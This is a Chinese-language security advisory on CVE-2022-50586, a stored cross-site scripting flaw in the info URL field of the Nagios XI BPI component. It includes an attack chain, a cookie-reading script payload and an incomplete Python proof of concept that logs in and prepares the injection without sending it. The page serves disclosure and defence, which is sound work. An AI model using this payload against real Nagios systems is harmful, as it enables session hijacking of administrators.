IPBUF安全漏洞报告
English
CVE-2022-50586 CVSS 5.4 中危

CVE-2022-50586 Nagios XI BPI组件存储型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2022-50586
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2022-50586Nagios XI存储型XSS跨站脚本攻击BPI组件CVE-2022系列Web应用漏洞认证绕过

漏洞概述

CVE-2022-50586是Nagios XI软件中的一个中危安全漏洞,存在于BPI(Business Process Intelligence)组件的info URL字段中。漏洞根源在于对用户输入的验证和转义不充分,攻击者可以通过在info URL字段中注入恶意脚本来实施存储型XSS攻击。当其他用户访问包含恶意脚本的页面时,攻击代码会在受害者浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的恶意操作。该漏洞影响Nagios XI 5.8.9之前的所有版本,CVSS评分5.4,属于中危级别。攻击复杂度低,但需要低权限用户身份,且需要用户交互才能成功利用。

技术细节

Nagios XI的BPI组件提供了业务进程监控功能,其中info URL字段用于配置业务进程的相关链接。该字段在接收用户输入后未进行充分的输入验证和输出编码,直接将用户提交的内容存储到数据库中。当其他用户访问包含该字段的页面时,未经过滤的内容会被嵌入到HTML页面中,导致恶意JavaScript代码执行。攻击者可以利用此漏洞窃取受害者的会话Cookie、冒充用户执行操作或重定向用户到恶意网站。由于是存储型XSS,恶意脚本会持久存在于系统中,影响所有访问该页面的用户。攻击者需要具有低权限账户即可利用此漏洞,但需要诱导具有更高权限的用户访问恶意页面才能扩大攻击效果。

攻击链分析

STEP 1
步骤1:侦察与登录
攻击者获取Nagios XI的低权限账户并登录系统
STEP 2
步骤2:定位BPI组件
攻击者导航至BPI(Business Process Intelligence)配置页面
STEP 3
步骤3:注入恶意脚本
在BPI组件的info URL字段中注入XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4:保存恶意配置
攻击者保存包含恶意脚本的BPI配置,payload被持久化存储到数据库
STEP 5
步骤5:诱导受害者访问
攻击者诱导具有更高权限的用户(如管理员)访问包含恶意脚本的BPI页面
STEP 6
步骤6:执行攻击代码
受害者的浏览器解析页面时执行注入的JavaScript代码,攻击者获取受害者的Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50586 Nagios XI BPI Stored XSS PoC # Target: Nagios XI < 5.8.9 # Component: BPI (Business Process Intelligence) - info URL field import requests import sys target_url = "http://target-nagios-xi.local" username = "low_privilege_user" password = "password123" session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}/nagiosxi/login.php" login_data = { "username": username, "password": password } session.post(login_url, data=login_data) # Step 2: Navigate to BPI component and inject XSS payload bpi_url = f"{target_url}/nagiosxi/config/bpi.php" xss_payload = '<script>alert(document.cookie)</script>' # The actual PoC would require finding the BPI info URL parameter # and submitting the XSS payload through the proper form # Example form field: info_url parameter in BPI configuration bpi_config_data = { "info_url": xss_payload, "action": "save" } # Note: Actual exploitation requires identifying the correct # form action and parameters through reconnaissance # This PoC demonstrates the attack vector only print(f"[*] Testing XSS payload on {target_url}") print(f"[*] Payload: {xss_payload}") print("[*] If successful, the script will execute when the BPI page is viewed")

影响范围

Nagios XI < 5.8.9

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:在Web服务器层面配置输入过滤规则,拦截包含script标签和JavaScript事件处理器的请求;启用X-XSS-Protection响应头;限制低权限用户对BPI配置功能的访问;监控日志中的可疑XSS攻击特征。建议尽快升级到Nagios XI 5.8.9或更高版本以获得完整修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表